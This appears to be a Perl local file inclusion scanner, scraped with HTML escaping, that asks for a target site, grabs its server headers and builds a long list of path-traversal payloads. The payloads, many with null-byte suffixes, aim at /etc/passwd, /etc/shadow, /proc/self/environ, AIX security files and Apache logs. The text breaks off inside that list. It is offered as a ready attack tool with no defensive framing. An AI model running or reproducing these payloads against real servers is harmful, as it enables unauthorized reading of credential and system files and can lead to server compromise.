print "=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; LFI_scanner v 0.1.5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; =\n";&lt;br /&gt;
print "=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; ~[ HR Updated Version ]~&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; =\n";&lt;br /&gt;
print "=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; =\n";&lt;br /&gt;
print "=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;input the site: www.memek.com/index.php?id=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;=\n";&lt;br /&gt;
print "=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =\n";&lt;br /&gt;
print "=====================================================\n\n";&lt;br /&gt;
print '&amp;gt;';chomp($link = &amp;lt;STDIN&amp;gt;);&lt;br /&gt;
if($link !~ /http:\/\//) { $link = "http://$link"; }&lt;br /&gt;
#httpd type scan&lt;br /&gt;
print "\n&amp;gt;press [enter] to check the version of httpd[...]\n";&lt;br /&gt;
$httpd =&amp;lt;STDIN&amp;gt;;&lt;br /&gt;
$host = $link;&lt;br /&gt;
$useragent = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;
$resp = $useragent-&amp;gt;head($host);&lt;br /&gt;
print $resp-&amp;gt;headers_as_string;&lt;br /&gt;
print "\n&amp;gt;press [enter] to check the vulnerability in lfi[...]\n";&lt;br /&gt;
$start =&amp;lt;STDIN&amp;gt;;&lt;br /&gt;
@vuls = ('/etc/passwd',&lt;br /&gt;
'../etc/passwd',&lt;br /&gt;
'../../etc/passwd',&lt;br /&gt;
'../../../etc/passwd',&lt;br /&gt;
'../../../../etc/passwd',&lt;br /&gt;
'../../../../../etc/passwd',&lt;br /&gt;
'../../../../../../etc/passwd',&lt;br /&gt;
'../../../../../../../etc/passwd',&lt;br /&gt;
'../../../../../../../../etc/passwd',&lt;br /&gt;
'../../../../../../../../../etc/passwd',&lt;br /&gt;
'../../../../../../../../../../etc/passwd',&lt;br /&gt;
'../../../../../../../../../../../etc/passwd',&lt;br /&gt;
'../etc/passwd%00',&lt;br /&gt;
'../../etc/passwd%00',&lt;br /&gt;
'../../../etc/passwd%00',&lt;br /&gt;
'../../../../etc/passwd%00',&lt;br /&gt;
'../../../../../etc/passwd%00',&lt;br /&gt;
'../../../../../../etc/passwd%00',&lt;br /&gt;
'../../../../../../../etc/passwd%00',&lt;br /&gt;
'../../../../../../../../etc/passwd%00',&lt;br /&gt;
'../../../../../../../../../etc/passwd%00',&lt;br /&gt;
'../../../../../../../../../../etc/passwd%00',&lt;br /&gt;
'../../../../../../../../../../../etc/passwd%00',&lt;br /&gt;
'/proc/self/environ',&lt;br /&gt;
'../proc/self/environ',&lt;br /&gt;
'../../proc/self/environ',&lt;br /&gt;
'../../../proc/self/environ',&lt;br /&gt;
'../../../../proc/self/environ',&lt;br /&gt;
'../../../../../proc/self/environ',&lt;br /&gt;
'../../../../../../proc/self/environ',&lt;br /&gt;
'../../../../../../../proc/self/environ',&lt;br /&gt;
'../../../../../../../../proc/self/environ',&lt;br /&gt;
'../../../../../../../../../proc/self/environ',&lt;br /&gt;
'../../../../../../../../../../proc/self/environ',&lt;br /&gt;
'../../../../../../../../../../../proc/self/environ',&lt;br /&gt;
'/proc/self/environ%00',&lt;br /&gt;
'../proc/self/environ%00',&lt;br /&gt;
'../../proc/self/environ%00',&lt;br /&gt;
'../../../proc/self/environ%00',&lt;br /&gt;
'../../../../proc/self/environ%00',&lt;br /&gt;
'../../../../../proc/self/environ%00',&lt;br /&gt;
'../../../../../../proc/self/environ%00',&lt;br /&gt;
'../../../../../../../proc/self/environ%00',&lt;br /&gt;
'../../../../../../../../proc/self/environ%00',&lt;br /&gt;
'../../../../../../../../../proc/self/environ%00',&lt;br /&gt;
'../../../../../../../../../../proc/self/environ%00',&lt;br /&gt;
'../../../../../../../../../../../proc/self/environ%00',&lt;br /&gt;
'/etc/group',&lt;br /&gt;
'../etc/group',&lt;br /&gt;
'../../etc/group',&lt;br /&gt;
'../../../etc/group',&lt;br /&gt;
'../../../../etc/group',&lt;br /&gt;
'../../../../../etc/group',&lt;br /&gt;
'../../../../../../etc/group',&lt;br /&gt;
'../../../../../../../etc/group',&lt;br /&gt;
'../../../../../../../../etc/group',&lt;br /&gt;
'../../../../../../../../../etc/group',&lt;br /&gt;
'../../../../../../../../../../etc/group',&lt;br /&gt;
'../../../../../../../../../../../etc/group',&lt;br /&gt;
'/etc/group%00',&lt;br /&gt;
'../etc/group%00',&lt;br /&gt;
'../../etc/group%00',&lt;br /&gt;
'../../../etc/group%00',&lt;br /&gt;
'../../../../etc/group%00',&lt;br /&gt;
'../../../../../etc/group%00',&lt;br /&gt;
'../../../../../../etc/group%00',&lt;br /&gt;
'../../../../../../../etc/group%00',&lt;br /&gt;
'../../../../../../../../etc/group%00',&lt;br /&gt;
'../../../../../../../../../etc/group%00',&lt;br /&gt;
'../../../../../../../../../../etc/group%00',&lt;br /&gt;
'../../../../../../../../../../../etc/group%00',&lt;br /&gt;
'/etc/security/group',&lt;br /&gt;
'../etc/security/group',&lt;br /&gt;
'../../etc/security/group',&lt;br /&gt;
'../../../etc/security/group',&lt;br /&gt;
'../../../../etc/security/group',&lt;br /&gt;
'../../../../../etc/security/group',&lt;br /&gt;
'../../../../../../etc/security/group',&lt;br /&gt;
'../../../../../../../etc/security/group',&lt;br /&gt;
'../../../../../../../../etc/security/group',&lt;br /&gt;
'../../../../../../../../../etc/security/group',&lt;br /&gt;
'../../../../../../../../../../etc/security/group',&lt;br /&gt;
'../../../../../../../../../../../etc/security/group',&lt;br /&gt;
'/etc/security/group%00',&lt;br /&gt;
'../etc/security/group%00',&lt;br /&gt;
'../../etc/security/group%00',&lt;br /&gt;
'../../../etc/security/group%00',&lt;br /&gt;
'../../../../etc/security/group%00',&lt;br /&gt;
'../../../../../etc/security/group%00',&lt;br /&gt;
'../../../../../../etc/security/group%00',&lt;br /&gt;
'../../../../../../../etc/security/group%00',&lt;br /&gt;
'../../../../../../../../etc/security/group%00',&lt;br /&gt;
'../../../../../../../../../etc/security/group%00',&lt;br /&gt;
'../../../../../../../../../../etc/security/group%00',&lt;br /&gt;
'../../../../../../../../../../../etc/security/group%00',&lt;br /&gt;
'/etc/user',&lt;br /&gt;
'../etc/user',&lt;br /&gt;
'../../etc/user',&lt;br /&gt;
'../../../etc/user',&lt;br /&gt;
'../../../../etc/user',&lt;br /&gt;
'../../../../../etc/user',&lt;br /&gt;
'../../../../../../etc/user',&lt;br /&gt;
'../../../../../../../etc/user',&lt;br /&gt;
'../../../../../../../../etc/user',&lt;br /&gt;
'../../../../../../../../../etc/user',&lt;br /&gt;
'../../../../../../../../../../etc/user',&lt;br /&gt;
'../../../../../../../../../../../etc/user',&lt;br /&gt;
'/etc/user%00',&lt;br /&gt;
'../etc/user%00',&lt;br /&gt;
'../../etc/user%00',&lt;br /&gt;
'../../../etc/user%00',&lt;br /&gt;
'../../../../etc/user%00',&lt;br /&gt;
'../../../../../etc/user%00',&lt;br /&gt;
'../../../../../../etc/user%00',&lt;br /&gt;
'../../../../../../../etc/user%00',&lt;br /&gt;
'../../../../../../../../etc/user%00',&lt;br /&gt;
'../../../../../../../../../etc/user%00',&lt;br /&gt;
'../../../../../../../../../../etc/user%00',&lt;br /&gt;
'../../../../../../../../../../../etc/user%00',&lt;br /&gt;
'/etc/shadow',&lt;br /&gt;
'../etc/shadow',&lt;br /&gt;
'../../etc/shadow',&lt;br /&gt;
'../../../etc/shadow',&lt;br /&gt;
'../../../../etc/shadow',&lt;br /&gt;
'../../../../../etc/shadow',&lt;br /&gt;
'../../../../../../etc/shadow',&lt;br /&gt;
'../../../../../../../etc/shadow',&lt;br /&gt;
'../../../../../../../../etc/shadow',&lt;br /&gt;
'../../../../../../../../../etc/shadow',&lt;br /&gt;
'../../../../../../../../../../etc/shadow',&lt;br /&gt;
'../../../../../../../../../../../etc/shadow',&lt;br /&gt;
'/etc/shadow%00',&lt;br /&gt;
'../etc/shadow%00',&lt;br /&gt;
'../../etc/shadow%00',&lt;br /&gt;
'../../../etc/shadow%00',&lt;br /&gt;
'../../../../etc/shadow%00',&lt;br /&gt;
'../../../../../etc/shadow%00',&lt;br /&gt;
'../../../../../../etc/shadow%00',&lt;br /&gt;
'../../../../../../../etc/shadow%00',&lt;br /&gt;
'../../../../../../../../etc/shadow%00',&lt;br /&gt;
'../../../../../../../../../etc/shadow%00',&lt;br /&gt;
'../../../../../../../../../../etc/shadow%00',&lt;br /&gt;
'../../../../../../../../../../../etc/shadow%00',&lt;br /&gt;
'/etc/security/passwd',&lt;br /&gt;
'../etc/security/passwd',&lt;br /&gt;
'../../etc/security/passwd',&lt;br /&gt;
'../../../etc/security/passwd',&lt;br /&gt;
'../../../../etc/security/passwd',&lt;br /&gt;
'../../../../../etc/security/passwd',&lt;br /&gt;
'../../../../../../etc/security/passwd',&lt;br /&gt;
'../../../../../../../etc/security/passwd',&lt;br /&gt;
'../../../../../../../../etc/security/passwd',&lt;br /&gt;
'../../../../../../../../../etc/security/passwd',&lt;br /&gt;
'../../../../../../../../../../etc/security/passwd',&lt;br /&gt;
'../../../../../../../../../../../etc/security/passwd',&lt;br /&gt;
'/etc/security/passwd%00',&lt;br /&gt;
'../etc/security/passwd%00',&lt;br /&gt;
'../../etc/security/passwd%00',&lt;br /&gt;
'../../../etc/security/passwd%00',&lt;br /&gt;
'../../../../etc/security/passwd%00',&lt;br /&gt;
'../../../../../etc/security/passwd%00',&lt;br /&gt;
'../../../../../../etc/security/passwd%00',&lt;br /&gt;
'../../../../../../../etc/security/passwd%00',&lt;br /&gt;
'../../../../../../../../etc/security/passwd%00',&lt;br /&gt;
'../../../../../../../../../etc/security/passwd%00',&lt;br /&gt;
'../../../../../../../../../../etc/security/passwd%00',&lt;br /&gt;
'../../../../../../../../../../../etc/security/passwd%00',&lt;br /&gt;
'/etc/security/user',&lt;br /&gt;
'../etc/security/user',&lt;br /&gt;
'../../etc/security/user',&lt;br /&gt;
'../../../etc/security/user',&lt;br /&gt;
'../../../../etc/security/user',&lt;br /&gt;
'../../../../../etc/security/user',&lt;br /&gt;
'../../../../../../etc/security/user',&lt;br /&gt;
'../../../../../../../etc/security/user',&lt;br /&gt;
'../../../../../../../../etc/security/user',&lt;br /&gt;
'../../../../../../../../../etc/security/user',&lt;br /&gt;
'../../../../../../../../../../etc/security/user',&lt;br /&gt;
'../../../../../../../../../../../etc/security/user',&lt;br /&gt;
'/etc/security/user%00',&lt;br /&gt;
'../etc/security/user%00',&lt;br /&gt;
'../../etc/security/user%00',&lt;br /&gt;
'../../../etc/security/user%00',&lt;br /&gt;
'../../../../etc/security/user%00',&lt;br /&gt;
'../../../../../etc/security/user%00',&lt;br /&gt;
'../../../../../../etc/security/user%00',&lt;br /&gt;
'../../../../../../../etc/security/user%00',&lt;br /&gt;
'../../../../../../../../etc/security/user%00',&lt;br /&gt;
'../../../../../../../../../etc/security/user%00',&lt;br /&gt;
'../../../../../../../../../../etc/security/user%00',&lt;br /&gt;
'../../../../../../../../../../../etc/security/user%00',&lt;br /&gt;
'/etc/security/environ',&lt;br /&gt;
'../etc/security/environ',&lt;br /&gt;
'../../etc/security/environ',&lt;br /&gt;
'../../../etc/security/environ',&lt;br /&gt;
'../../../../etc/security/environ',&lt;br /&gt;
'../../../../../etc/security/environ',&lt;br /&gt;
'../../../../../../etc/security/environ',&lt;br /&gt;
'../../../../../../../etc/security/environ',&lt;br /&gt;
'../../../../../../../../etc/security/environ',&lt;br /&gt;
'../../../../../../../../../etc/security/environ',&lt;br /&gt;
'../../../../../../../../../../etc/security/environ',&lt;br /&gt;
'../../../../../../../../../../../etc/security/environ',&lt;br /&gt;
'/etc/security/environ%00',&lt;br /&gt;
'../etc/security/environ%00',&lt;br /&gt;
'../../etc/security/environ%00',&lt;br /&gt;
'../../../etc/security/environ%00',&lt;br /&gt;
'../../../../etc/security/environ%00',&lt;br /&gt;
'../../../../../etc/security/environ%00',&lt;br /&gt;
'../../../../../../etc/security/environ%00',&lt;br /&gt;
'../../../../../../../etc/security/environ%00',&lt;br /&gt;
'../../../../../../../../etc/security/environ%00',&lt;br /&gt;
'../../../../../../../../../etc/security/environ%00',&lt;br /&gt;
'../../../../../../../../../../etc/security/environ%00',&lt;br /&gt;
'../../../../../../../../../../../etc/security/environ%00',&lt;br /&gt;
'/etc/security/limits',&lt;br /&gt;
'../etc/security/limits',&lt;br /&gt;
'../../etc/security/limits',&lt;br /&gt;
'../../../etc/security/limits',&lt;br /&gt;
'../../../../etc/security/limits',&lt;br /&gt;
'../../../../../etc/security/limits',&lt;br /&gt;
'../../../../../../etc/security/limits',&lt;br /&gt;
'../../../../../../../etc/security/limits',&lt;br /&gt;
'../../../../../../../../etc/security/limits',&lt;br /&gt;
'../../../../../../../../../etc/security/limits',&lt;br /&gt;
'../../../../../../../../../../etc/security/limits',&lt;br /&gt;
'../../../../../../../../../../../etc/security/limits',&lt;br /&gt;
'/etc/security/limits%00',&lt;br /&gt;
'../etc/security/limits%00',&lt;br /&gt;
'../../etc/security/limits%00',&lt;br /&gt;
'../../../etc/security/limits%00',&lt;br /&gt;
'../../../../etc/security/limits%00',&lt;br /&gt;
'../../../../../etc/security/limits%00',&lt;br /&gt;
'../../../../../../etc/security/limits%00',&lt;br /&gt;
'../../../../../../../etc/security/limits%00',&lt;br /&gt;
'../../../../../../../../etc/security/limits%00',&lt;br /&gt;
'../../../../../../../../../etc/security/limits%00',&lt;br /&gt;
'../../../../../../../../../../etc/security/limits%00',&lt;br /&gt;
'../../../../../../../../../../../etc/security/limits%00',&lt;br /&gt;
'/usr/lib/security/mkuser.default',&lt;br /&gt;
'../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../../../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../../../../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../../../../../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../../../../../../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'../../../../../../../../../../../usr/lib/security/mkuser.default',&lt;br /&gt;
'/usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../../../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../../../../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../../../../../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../../../../../../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'../../../../../../../../../../../usr/lib/security/mkuser.default%00',&lt;br /&gt;
'/apache/logs/access.log',&lt;br /&gt;
'../apache/logs/access.log',&lt;br /&gt;
'../../apache/logs/access.log',&lt;br /&gt;
'../../../apache/logs/access.log',&lt;br /&gt;
'../../../../apache/logs/access.log',&lt;br /&gt;
'../../../../../apache/logs/access.log',&lt;br /&gt;
'../../../../../../apache/logs/access.log',&lt;br /&gt;
'../../../../../../../apache/logs/access.log',&lt;br /&gt;
'../../../../../../../../apache/logs/access.log',&lt;br /&gt;
'../../../../../../../../../apache/logs/access.log',&lt;br /&gt;
'../../../../../../../../../../apache/logs/access.log',&lt;br /&gt;
'../../../../../../../../../../../apache/logs/access.log',&lt;br /&gt;
'/apache/logs/access.log%00',&lt;br /&gt;
'../apache/logs/access.log%00',&lt;br /&gt;
'../../apache/logs/access.log%00',&lt;br /&gt;
'../../../apache/logs/access.log%00',&lt;br /&gt;
'../../../../apache/logs/access.log%00',&lt;br /&gt;
'../../../../../apache/logs/access.log%00',&lt;br /&gt;
'../../../../../../apache/logs/access.log%00',&lt;br /&gt;
'../../../../../../../apache/logs/access.log%00',&lt;br /&gt;
'../../../../../../../../apache/logs/access.log%00',&lt;br /&gt;
'../../../../../../../../../apache/logs/access.log%00',&lt;br /&gt;
'../../../../../../../../../../apache/logs/access.log%00',&lt;br /&gt;
'../../../../../../../../../../../apache/logs/access.log%00',&lt;br /&gt;
'/apache/logs/error.log',&lt;br /&gt;
'../apache/logs/error.log',&lt;br /&gt;
'../../apache/logs/error.log',&lt;br /&gt;
'../../../apache/logs/error.log',&lt;br /&gt;
'../../../../apache/logs/error.log',&lt;br /&gt;
'../../../../../apache/logs/error.log',&lt;br /&gt;
'../../../../../../apache/logs/error.log',&lt;br /&gt;
'../../../../../../../apache/logs/error.log',&lt;br /&gt;
'../../../../../../../../apache/logs/error.log',&lt;br /&gt;
'../../../../../../../../../apache/logs/error.log',&lt;br /&gt;
'../../../../../../../../../../apache/logs/error.log',&lt;br /&gt;
'../../../../../../../../../../../apache/logs/error.log',&lt;br /&gt;
'/apache/logs/error.log%00',&lt;br /&gt;
'../apache/logs/error.log%00',&lt;br /&gt;
'../../apache/logs/error.log%00',&lt;br /&gt;
'../../../apache/logs/error.log%00',&lt;br /&gt;
'../../../../apache/logs/error.log%00',&lt;br /&gt;
'../../../../../apache/logs/error.log%00',&lt;br /&gt;
'../../../../../../apache/logs/error.log%00',&lt;br /&gt;
'../../../../../../../apache/logs/error.log%00',&lt;br /&gt;
'../../../../../../../../apache/logs/error.log%00',&lt;br /&gt;
'../../../../../../../../../apache/logs/error.log%00',&lt;br /&gt;
'../../../../../../../../../../apache/logs/error.log%00',&lt;br /&gt;
'../../../../../../../../../../../apache/logs/error.log%00',&lt;br /&gt;
'/etc/httpd/logs/acces_log',&lt;br /&gt;
'../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../../../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../../../../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../../../../../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../../../../../../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'../../../../../../../../../../../etc/httpd/logs/acces_log',&lt;br /&gt;
'/etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../../../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../../../../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../../../../../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../../../../../../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'../../../../../../../../../../../etc/httpd/logs/acces_log%00',&lt;br /&gt;
'/etc/httpd/logs/error_log',&lt;br /&gt;
'../etc/httpd/logs/error_log',&lt;br /&gt;
'../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../../../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../../../../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../../../../../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../../../../../../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../../../../../../../../etc/httpd/logs/error_log',&lt;br /&gt;
'../../../../../../../../../../../etc/httpd/logs/error_log',&lt;br /&gt;
'/etc/httpd/logs/error_log%00',&lt;br /&gt;
'../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../../../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../../../../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../../../../../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../../../../../../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'../../../../../../../../../../../etc/httpd/logs/error_log%00',&lt;br /&gt;
'/var/www/logs/access_log',&lt;br /&gt;
'../var/www/logs/access_log',&lt;br /&gt;
'../../var/www/logs/access_log',&lt;br /&gt;
'../../../var/www/logs/access_log',&lt;br /&gt;
'../../../../var/www/logs/access_log',&lt;br /&gt;
'../../../../../var/www/logs/access_log',&lt;br /&gt;
'../../../../../../var/www/logs/access_log',&lt;br /&gt;
'../../../../../../../var/www/logs/access_log',&lt;br /&gt;
'../../../../../../../../var/www/logs/access_log',&lt;br /&gt;
'../../../../../../../../../var/www/logs/access_log',&lt;br /&gt;
'../../../../../../../../../../var/www/logs/access_log',&lt;br /&gt;
'../../../../../../../../../../../var/www/logs/access_log',&lt;br /&gt;
'/var/www/logs/access_log%00',&lt;br /&gt;
'../var/www/logs/access_log%00',&lt;br /&gt;
'../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../../../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../../../../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../../../../../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../../../../../../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../../../../../../../../var/www/logs/access_log%00',&lt;br /&gt;
'../../../../../../../../../../../var/www/logs/access_log%00',&lt;br /&gt;
'/var/www/logs/error_log',&lt;br /&gt;
'../var/www/logs/error_log',&lt;br /&gt;
'../../var/www/logs/error_log',&lt;br /&gt;
'../../../var/www/logs/error_log',&lt;br /&gt;
'../../../../var/www/logs/error_log',&lt;br /&gt;
